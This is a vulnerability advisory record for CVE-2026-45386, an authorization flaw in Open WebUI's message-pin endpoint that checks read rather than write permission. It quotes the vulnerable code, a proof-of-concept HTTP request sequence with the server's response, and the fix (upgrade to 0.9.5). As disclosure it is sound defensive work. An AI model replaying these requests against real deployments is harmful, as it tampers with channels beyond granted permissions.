{"id":"CVE-2026-45386","aliases":["GHSA-5gc6-xhv4-2wg6","PYSEC-2026-2705"],"title":"Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint","summary":"Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint","severity":"medium","cvss":4.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.9.5"],"patched":["open-webui 0.9.5"],"published":"2026-05-14","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-5gc6-xhv4-2wg6","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45386"},{"url":"https://github.com/open-webui/open-webui"},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5"}],"tags":["osv","pip"],"epss":0.00204,"epssPercentile":0.107,"ingestedAt":"2026-07-13T18:57:53.222Z","slug":"CVE-2026-45386","body":"## Overview\n\n### Summary\n`Pin/Unpin` is a write operation (modifies the message's `is_pinned `, `pinned_by`, `pinned_at` fields), but in standard channels it only checks `read` permission, allowing users with read-only access to pin/unpin any message.\n\n### Details\nhttps://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218\n\n```\n@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])\nasync def pin_channel_message(\n    request: Request,\n    id: str,\n    message_id: str,\n    form_data: PinMessageForm,\n    user=Depends(get_verified_user),\n    db: Session = Depends(get_session),\n):\n    check_channels_access(request)\n    channel = Channels.get_channel_by_id(id, db=db)\n    if not channel:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)\n\n    if channel.type in ['group', 'dm']:\n        if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n    else:\n        if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):\n            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n```\n\nThe `channel_has_access` function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the `AccessGrants` table:\n\n```\ndef channel_has_access(\n    user_id: str,\n    channel: ChannelModel,\n    permission: str = 'read',  # 'read' or 'write'\n    strict: bool = True,\n    db: Optional[Session] = None,\n) -> bool:\n    if AccessGrants.has_access(\n        user_id=user_id,\n        resource_type='channel',\n        resource_id=channel.id,\n        permission=permission,\n        db=db,\n    ):\n        return True\n    # ...\n```\n\nThe `AccessGrant` table distinguishes between `read` and `write` permission levels.\n\n### PoC\n`admin` creates Standard Channel with Read-Only Access for `test1` :\n\n```\nPOST /api/v1/channels/create\nAuthorization: \nContent-Type: application/json\n\n{\n  \"name\": \"pin-test-standard\",\n  \"access_grants\": [\n    {\n      \"principal_type\": \"user\",\n      \"principal_id\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n      \"permission\": \"read\"\n    }\n  ]\n}\n```\n\n`admin` posts a Message in the Channel,  and  `test1` has `read` permission only.\n<img width=\"1024\" height=\"423\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f\" />\n\n`test1` attempts to Pin Message:\n\n```\nPOST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin\nAuthorization: Bearer <test1_token>\nContent-Type: application/json\n\n{\n  \"is_pinned\": true\n}\n```\n\n```\n{\n  \"id\": \"4797359b-aad5-4081-9617-e8ca58524a87\",\n  \"user_id\": \"28c859b7-84e2-4217-b4d7-3f0e43f7c4b9\",\n  \"is_pinned\": true,\n  \"pinned_by\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n  \"pinned_at\": 1774716314908288719,\n  \"content\": \"Admin announcement in standard channel - test1 should NOT be able to pin this\"\n}\n```\n\nSuccessfully pinned admin's message. `pinned_by` records test1's user ID.\n<img width=\"1024\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8\" />\n\n `test1` (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks `read` permission, allowing read-only users to pin/unpin any message.\n\n### Impact\nRead-only users can pin irrelevant messages, disrupting important information display in the channel .\n\n### Recommended Fix\nChange the Pin endpoint's permission check from `read` to `write` .\n\n## Affected packages\n\n- `open-webui < 0.9.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.9.5`","depth":"sunlit","depthScore":24,"depthScoreParts":{"impact":23.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}